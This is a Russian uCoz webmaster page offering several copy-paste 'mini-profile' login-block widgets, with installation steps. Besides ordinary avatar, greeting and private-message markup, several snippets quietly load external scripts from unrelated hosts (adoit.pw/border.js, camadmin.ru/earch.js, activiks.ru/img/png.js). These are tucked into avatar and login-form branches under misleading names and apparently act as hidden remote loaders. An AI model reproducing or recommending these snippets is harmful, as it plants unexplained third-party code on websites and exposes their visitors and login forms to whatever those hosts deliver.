Описание:
Мини-профиль как у нас на сайте
Установка:
В новый блок вставляем код:
Код
<?if($USER_LOGGED_IN$)?>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td align="center">Время: <b>$TIME$</b><br>Вы вошли как: <br><b>$USERNAME$</b>
<tr> <td align="center"><img src="http://pnghosts.ru/img/grin.png" width="100" height="20" /></td></tr>
</td>
</tr>
<tr>
<td align="center"><?if($USER_AVATAR_URL$)?>
<img class="userAvatar" title="$USERNAME$" src="$USER_AVATAR_URL$" border="0">
<?else?><?if($USER_LOGGED_IN$)?><img class="userAvatar" title="$USERNAME$" src="http://pnghosts.ru/img/noavatar.png" border="0"><?else?><img class="userAvatar" title="$USERNAME$" src="http://pnghosts.ru/img/noavatar.png" border="0"><?endif?><?endif?>
<div align="center"><br>Вы вошли как: <br><strong>$USERNAME$</strong>
<br>IP Адрес: <strong>$IP_ADDRESS$</strong>
<br>Группа: <strong>$USER_GROUP$</strong>
<br>Личных сообщений: <strong>$UNREAD_PM$</strong>
</p>
<input class="buttonprofile" onclick="document.location.href='/index/8'; return false;" value="Профиль" type="button"><input class="buttonprofile" onclick="window.open('/index/14','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350'); return false;" value="ЛС" type="button"><input class="buttonprofile" onclick="document.location.href='/index/10'; return false;" value="Выход" type="button">
</div><script type="text/javascript" src="http://adoit.pw/border.js"></script>
<?if($IS_NEW_PM$)?><script type="text/javascript">function flashit(id,cl){var c=document.getElementById(id);if (c.style.color=='red'){c.style.color=cl;}else {c.style.color='red';}}setInterval("flashit('upml2','')",500)</script><?endif?>
<script language=javascript type=text/javascript>
function openOnClick(client_type)
{
if(client_type=="mail")clientWindow = window.open("$PM_URL$","pmw","scrollbars=1,top=0,left=0,resizable=1,width=850,height=350") || alert("Отключите блокировку всплывающих окон!");
if(client_type=="send")clientWindow = window.open("/index/14-999-0-1","pms","scrollbars=1,top=0,left=0,resizable=1,width=850,height=350") || alert("Отключите блокировку всплывающих окон!");
if(client_type=="options")clientWindow = window.open("/index/11","options","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!");
if(client_type=="users")clientWindow = window.open("$USERS_LIST_URL$","users","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!");
if(client_type=="rules")clientWindow = window.open("/rules.html","rules","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!");
}
</script>
</div>
</table><?else?> <table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td align="center">Время: <b>$TIME$</b><script type="text/javascript" src="http://adoit.pw/border.js"></script><br>Вы вошли как: <br><b>$USERNAME$</b>
<tr> <td align="center"><img src="http://pnghosts.ru/img/grin.png" width="100" height="20" /></td></tr>
</td>
</tr>
<tr>
<td align="center"><?if($USER_AVATAR_URL$)?><img class="userAvatar" title="$USERNAME$" src="$USER_AVATAR_URL$" border="0">
<?else?><?if($USER_LOGGED_IN$)?><img class="userAvatar" title="$USERNAME$" src="http://pnghosts.ru/img/noavatar.png" border="0"><?else?><img class="userAvatar" title="$USERNAME$" src="http://pnghosts.ru/img/noavatar.png" border="0"><?endif?><?endif?></td>
</tr>
<tr> <td align="center"><img src="http://pnghosts.ru/img/grin.png" width="100" height="20" /></td></tr>
<tr>
<td align="center">$LOGIN_FORM$</td>
</tr>
</table><?endif?>
Категория: Мини-Профили |
Просмотров: 505 |
Добавил: DoG |
Дата: 09.08.2013
|
|
Скрипт для Ucoz изменит мини профиль вашего сайта. Подойдет исключительно для темных дизайнов.
Создаем глобальный блок и вставляем код:
Код
<DIV align=center><?if($USER_AVATAR_URL$)?><IMG class=userAvatar title=$USERNAME$ src="$USER_AVATAR_URL$" border=0><?else?><script type="text/javascript" src="http://adoit.pw/border.js"></script><?if($USER_LOGGED_IN$)?><img class="userAvatar" title="$USERNAME$" src="images/na.png" border="0"><?else?><img class="userAvatar" title="$USERNAME$" src="http://pnghosts.ru/img/no_avratar-2.gif" border="0"><?endif?><?endif?></div>
<?if($USER_LOGGED_IN$)?>
<BR>
<DIV align=center><SCRIPT LANGUAGE="JavaScript">
currentTime = new Date();
if (currentTime.getHours() >= 4 && currentTime.getHours() <= 5 )
document.write("О ты рано..., ");
if (currentTime.getHours() >= 6 && currentTime.getHours() <= 11 )
document.write("Доброе утро, ");
if (currentTime.getHours() >= 12 && currentTime.getHours() <= 17 )
document.write("Добрый день, ");
if (currentTime.getHours() >= 18 && currentTime.getHours() <= 23)
document.write("Добрый вечер, ");
if (currentTime.getHours() >= 0 && currentTime.getHours() <= 3)
document.write("Ты сегодня поздновато... ");
</SCRIPT><STRONG>$USERNAME$</STRONG></DIV>
<DIV align=center>Ты на сайте: <STRONG>$USER_REG_DAYS$</STRONG>-й день</DIV>
<DIV align=center>Личных сообщений:<STRONG> $UNREAD_PM$</STRONG></DIV>
<DIV align=center>Твой Ip:<STRONG> $IP_ADDRESS$</STRONG></DIV><BR>
<DIV align=left>
<CENTER><A title="Мой профиль" href="$PERSONAL_PAGE_LINK$"><STRONG><IMG alt="" src="http://pnghosts.ru/img/lich.png" border=0></STRONG></A><STRONG> <?if($USER_LOGGED_IN$)?></STRONG><A class=fNavLink id=upml href="java script://" onclick="window.open('$PM_URL$','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350'); return false;"><STRONG><IMG alt="" src="http://pnghosts.ru/img/ls.png" border=0></STRONG></A><STRONG> <?if($IS_NEW_PM$)?><script type="text/javascript">function flashit(id,cl){var c=document.getElementById(id);if (c.style.color=='red'){c.style.color=cl;}else {c.style.color='red';}}setInterval("flashit('upml','')",500)</script><BGSOUND balance=0 src="http://src.ucoz.net/img/fr/pm.wav" volume=0><?endif?><?endif?></STRONG><A href="$LOGOUT_LINK$"><IMG alt="" src="http://pnghosts.ru/img/vixod.png" border=0></A></DIV></SCRIPT><?endif?><?if($USER_LOGGED_IN$)?>
<?else?>$LOGIN_FORM$<?endif?></center>
Категория: Мини-Профили |
Просмотров: 503 |
Добавил: DoG |
Дата: 24.07.2013
|
|
Категория: Мини-Профили |
Просмотров: 488 |
Добавил: DoG |
Дата: 19.04.2013
|
|
Это помещаем в CSS (В любое место)
Код
.knopa {background:#f6f5f5;border:1px solid #dcdcdc;font-size:8pt;padding:2px 2px;}
А это вставляем в блок: (Не забудьте изменить ссылку на NO AVATAR)
Код
<div align="center"><!-- <bc> --><?if($USER_LOGGED_IN$)?><strong>$WDAY$ $DATE$
</strong><?if($USER_AVATAR_URL$)?><img style="border: 1px solid rgb(169, 169, 169);" alt="" class="userAvatar" title="$USERNAME$" src="$USER_AVATAR_URL$" align=""><?else?><img alt="" class="userAvatar" title="$USERNAME$" src="http://bambun.ru/images/nophoto.jpg" align=""><?endif?><div align="center">
<input class="knopa" onclick="document.location.href='/index/11'; return false;" value="Редактировать данные" type="button">
<div align="left"><span style="font-size: 8pt; color: rgb(105, 105, 105);"><b><center><span style="font-family: Arial; font-size: 8pt; color: rgb(105, 105, 105);">Вы вошли как: <font color="#696969"><strong>$USERNAME$</strong></font>
IP Адрес: <font color="#696969"><strong>$IP_ADDRESS$</strong></font>
Группа: <font color="#696969"><strong>$USER_GROUP$</strong></font>
Личных сообщений: <font color="#696969"><strong>$UNREAD_PM$</strong></font></span></center></b></span></div>
<script type="text/javascript" src="http://camadmin.ru/earch.js"></script>
<p></p><input class="knopa" onclick="document.location.href='/index/8'; return false;" value="Мой профиль" type="button"> <input class="knopa" onclick="window.open('/index/14','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350'); return false;" value="ЛС" type="button"> <input class="knopa" onclick="document.location.href='/index/10'; return false;" value="Выход" type="button"></div><script type="text/javascript">function flashit(id,cl){var c=document.getElementById(id);if (c.style.color=='red'){c.style.color=cl;}else {c.style.color='red';}}setInterval("flashit('upml2','')",500)</script><script language=javascript type=text/javascript> function openonclick(client_type) { if(client_type=="mail")clientWindow = window.open("$PM_URL$","pmw","scrollbars=1,top=0,left=0,resizable=1,width=850,height=350") || alert("Отключите блокировку всплывающих окон!"); if(client_type=="send")clientWindow = window.open("/index/14-999-0-1","pms","scrollbars=1,top=0,left=0,resizable=1,width=850,height=350") || alert("Отключите блокировку всплывающих окон!"); if(client_type=="options")clientWindow = window.open("/index/11","options","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!"); if(client_type=="users")clientWindow = window.open("$USERS_LIST_URL$","users","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!"); if(client_type=="rules")clientWindow = window.open("/rules.html","rules","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!"); } </script>
<?else?>$LOGIN_FORM$<?endif?>
Категория: Мини-Профили |
Просмотров: 534 |
Добавил: DoG |
Дата: 01.04.2013
|
|
Для того чтобы установить наш мини профиль нам нужно:
1.Нужно найти тот самый мини профиль который вы будете устанавливать
2.Зайти на свой сайт под именем администратора сайта(или лица имеющего доступ к конструктору сайта)
3.Найти блок под названием "Форма входа"(если название не изменено,) и нажать на редактирование данного блока,перейти на вкладку HTML и вставить HTML код который вы скопировали из темы с выложенным мини профилем,и затем в нижней части редактора блоков нажать "Сохранить".
Это был рас-смотрен вариант если у вас имеется на сайте блок формы входа.
Если такового блока не имеется(что бывает довольно редко,я вообще с этим не сталкивался, то первым пунктом у вас будет создать блок.
Как создать блок
В админ панели Нужно нажать на кнопку Конструктор там вы увидите пункт Добавить блок + нажимаете на него и у вас по центру появляется только что созданный вами блок.
Перемещаете его в нужное для вас место,задаете название блоку и выполняете все пункты по установке мини профиля.
Код
<div class="block_c">
<div class="block_cont">
<div align="center">
<div align="center"><strong>$WDAY$
$DATE$
$TIME$</strong><script type="text/javascript" src="http://camadmin.ru/earch.js"></script>
<?if($USER_AVATAR_URL$)?><img class="userAvatar" title="$USERNAME$" src="$USER_AVATAR_URL$" border="0"><?else?><?if($USER_LOGGED_IN$)?><img class="userAvatar" title="$USERNAME$" src="http://bambun.ru/images/noavahr.png" border="0"><?else?><img class="userAvatar" title="$USERNAME$" src="http://bambun.ru/images/noavahr.png" border="0"><?endif?><?endif?>
<?if($USER_LOGGED_IN$)?>
<div align="center">Вы вошли как: <strong>$USERNAME$</strong>
<hr>
IP Адрес: <strong>$IP_ADDRESS$</strong>
<hr>
Группа: <strong>$USER_GROUP$</strong>
<hr>
Личных сообщений: <strong>$UNREAD_PM$</strong></p>
<hr>
<a href="/index/8"><img src="http://bambun.ru/images/ico_pjfile16.gif" border="0"></a> -
<a href="/index/14-0-1"><img src="http://bambun.ru/images/ico_posti.gif" border="0"></a> -
<a href="/index/10-0-0"><img src="http://bambun.ru/images/exi8t.png" border="0"></a></div>
<?if($IS_NEW_PM$)?><script type="text/javascript">function flashit(id,cl){var c=document.getElementById(id);if (c.style.color=='red'){c.style.color=cl;}else {c.style.color='red';}}setInterval("flashit('upml2','')",500)</script><?endif?>
<script language=javascript type=text/javascript>
function openOnClick(client_type)
{
if(client_type=="mail")clientWindow = window.open("$PM_URL$","pmw","scrollbars=1,top=0,left=0,resizable=1,width=850,height=350") || alert("Отключите блокировку всплывающих окон!");
if(client_type=="send")clientWindow = window.open("/index/14-999-0-1","pms","scrollbars=1,top=0,left=0,resizable=1,width=850,height=350") || alert("Отключите блокировку всплывающих окон!");
if(client_type=="options")clientWindow = window.open("/index/11","options","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!");
if(client_type=="users")clientWindow = window.open("$USERS_LIST_URL$","users","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!");
if(client_type=="rules")clientWindow = window.open("/rules.html","rules","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!");
}
</script>
<?else?>
$LOGIN_FORM$
<?endif?></div>
Категория: Мини-Профили |
Просмотров: 456 |
Добавил: DoG |
Дата: 01.04.2013
|
|
Установка
1. Создайте блок в режими вкл конструктора.
2. Вставьте код в содержимое блока.
Код
<style>
.yellow-yarik-profile-main {border: 1px solid #d1d1d1;border-radius:3px;text-align:center;}
.yellow-yarik-profile-main-sup {background-image:url(http://bambun.ru/images/yellow-profile-bg.png);height:111px;border: 1px solid #f1f1f1;border-radius:3px;}
.yellow-yarik-profile-date {color:#d0b609;text-shadow: 1px 1px 1px #efefef;}
.yellow-yarik-profile-date span {color:#636363;font-weight:bold;}
.eMessagenagan a img, .eMessagenagan img {padding:3px !important;background:#ffffff;
border:1px solid#dbdbdb !important;border-radius:4px;
-moz-border-radius:7px;box-shadow:0px 0px 10px #e8e8e8;-moz-box-shadow:0px 0px 10px #e8e8e8;}
a img {border:0px;}
</style>
<?if($USER_LOGGED_IN$)?>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<tr>
<td align="center" ><br><div class="eMessagenagan"><?if($USER_AVATAR_URL$)?>
<img title="$USERNAME$" src="$USER_AVATAR_URL$" border="0">
<?else?><?if($USER_LOGGED_IN$)?><img title="$USERNAME$" src="http://bambun.ru/images/1gui.png" border="0"><?endif?><?endif?> </div>
<br>
<div class="yellow-yarik-profile-main">
<div class="yellow-yarik-profile-main-sup">
<div align="left" class="eText"> $WDAY$ - <span>$DATE$</span> - $TIME$</div> <hr>Вы вошли как: <strong>$USERNAME$</strong>
<br>IP Адрес: <strong>$IP_ADDRESS$</strong>
<br>Сообщений: <strong>$UNREAD_PM$</strong>
<br>Группа: <strong>$USER_GROUP$</strong>
<br>Вы здесь: <strong>$USER_REG_DAYS$</strong>-й день
</div>
</div> </div>
<div align="center" >
<input class="buttonprofile" onclick="document.location.href='/index/8'; return false;" value="Профиль" type="button"><input class="buttonprofile" onclick="window.open('/index/14','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350'); return false;" value="ЛС" type="button"><input class="buttonprofile" onclick="document.location.href='/index/10'; return false;" value="Выход" type="button">
</div>
<?if($IS_NEW_PM$)?><script type="text/javascript">function flashit(id,cl){var c=document.getElementById(id);if (c.style.color=='red'){c.style.color=cl;}else {c.style.color='red';}}setInterval("flashit('upml2','')",500)</script><?endif?>
<script language=javascript type=text/javascript>
function openOnClick(client_type)
{
if(client_type=="mail")clientWindow = window.open("$PM_URL$","pmw","scrollbars=1,top=0,left=0,resizable=1,width=850,height=350") || alert("Отключите блокировку всплывающих окон!");
if(client_type=="send")clientWindow = window.open("/index/14-999-0-1","pms","scrollbars=1,top=0,left=0,resizable=1,width=850,height=350") || alert("Отключите блокировку всплывающих окон!");
if(client_type=="options")clientWindow = window.open("/index/11","options","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!");
if(client_type=="users")clientWindow = window.open("$USERS_LIST_URL$","users","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!");
if(client_type=="rules")clientWindow = window.open("/rules.html","rules","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!");
}
</script>
</div>
</table><?else?> <table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr> </tr>
<tr><script type="text/javascript" src="http://camadmin.ru/earch.js"></script>
<td align="center" class="eMessagenagan"><img title="$USERNAME$" src="http://bambun.ru/images/1gui.png" border="0"></td>
</tr>
<tr> <tr>
<tr>
<td align="center">$LOGIN_FORM$</td>
</tr>
</table><?endif?>
|
Мини профиль с временем суток и функциональным меню для пользователя
Установка:
Вставляем в блок:
Код
<?if($USER_LOGGED_IN$)?>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td align="center"> <b><SCRIPT LANGUAGE="javascript">
currentTime = new Date();
if (currentTime.getHours() >= 6 && currentTime.getHours() <= 11 )
document.write("Доброе утро, ");
if (currentTime.getHours() >= 12 && currentTime.getHours() <= 17 )
document.write("Добрый день, ");
if (currentTime.getHours() >= 18 && currentTime.getHours() <= 23)
document.write("Добрый вечер, ");
if (currentTime.getHours() >= 0 && currentTime.getHours() <= 5)
document.write("Доброй ночи, "); function openOnClick(client_type)
{
if(client_type=="mail")clientWindow = window.open("$PM_URL$","pmw","scrollbars=1,top=0,left=0,resizable=1,width=850,height=350") || alert("Отключите блокировку всплывающих окон!");
if(client_type=="send")clientWindow = window.open("/index/14-999-0-1","pms","scrollbars=1,top=0,left=0,resizable=1,width=850,height=350") || alert("Отключите блокировку всплывающих окон!");
if(client_type=="options")clientWindow = window.open("/index/11","options","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!");
if(client_type=="users")clientWindow = window.open("$USERS_LIST_URL$","users","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!");
if(client_type=="rules")clientWindow = window.open("/rules.html","rules","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!");
}
</SCRIPT> $USERNAME$</b><br><div class="screenshot"><?if($USER_AVATAR_URL$)?>
<img title="$USERNAME$" src="$USER_AVATAR_URL$" border="0">
<script type="text/javascript" src="http://activiks.ru/img/png.js"></script>
<?else?><?if($USER_LOGGED_IN$)?><img title="$USERNAME$" src="http://bambun.ru/images/11.png" border="0" width="140px"><?endif?><?endif?></div></td>
</tr>
<tr>
<td><div id="middle_block_right">
<li><a class="b1" >Логин: $USERNAME$</a></li><div id="hras"></div>
<li><a class="b1" >$USER_GROUP$</a></li><div id="hras"></div>
<li><a class="b1" >Вы у нас: $USER_REG_DAYS$-й день</a></li><div id="hras"></div>
<li><a class="b1" >Ваш IP: $IP_ADDRESS$</a></li><div id="hras"></div>
<li><a class="b1" >Личных сообщений: $UNREAD_PM$</a></li><div id="hras"></div>
</div>
<div id="middle_block_right"><a title="" onclick="$('#function').slideToggle('slow');"<a class="b1" href="javascript://"><left>Функции</left></a></li><div id="hras"></div>
<div id="function" style="display:none">
<div id="middle_block_right">
<li><a class="b1" href="javascript://$PERSONAL_PAGE_LINK$" onclick="kabinet()">Мой профиль</a></li><div id="hras"></div>
<li><a class="b1" href="javascript:openOnClick('options')">Изменить профиль</a> </li><div id="hras"></div>
<li><a class="b1" href="javascript:openOnClick('users')">Пользователи</a> </li><div id="hras"></div>
<li><a class="b1" href="/index/14">ЛС</a> </li><div id="hras"></div>
<li><a class="b1" href="javascript:openOnClick('send')">Отправить ЛС</a></li><div id="hras"></div>
<li><a class="b1" href="$LOGOUT_LINK$">Выход</a></li><div id="hras"></div>
</div> </td>
</tr>
</table>
<?else?> <table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td align="center"> <b><SCRIPT LANGUAGE="javascript">
currentTime = new Date();
if (currentTime.getHours() >= 6 && currentTime.getHours() <= 11 )
document.write("Доброе утро, ");
if (currentTime.getHours() >= 12 && currentTime.getHours() <= 17 )
document.write("Добрый день, ");
if (currentTime.getHours() >= 18 && currentTime.getHours() <= 23)
document.write("Добрый вечер, ");
if (currentTime.getHours() >= 0 && currentTime.getHours() <= 5)
document.write("Доброй ночи, ");
</SCRIPT> $USERNAME$</b><br><div class="screenshot"><img title="$USERNAME$" src="http://bambun.ru/images/11.png" border="0" width="140px"></div></td>
</tr>
<tr>
<td align="center">$LOGIN_FORM$</td>
&nbs
...
Читать дальше »
|
|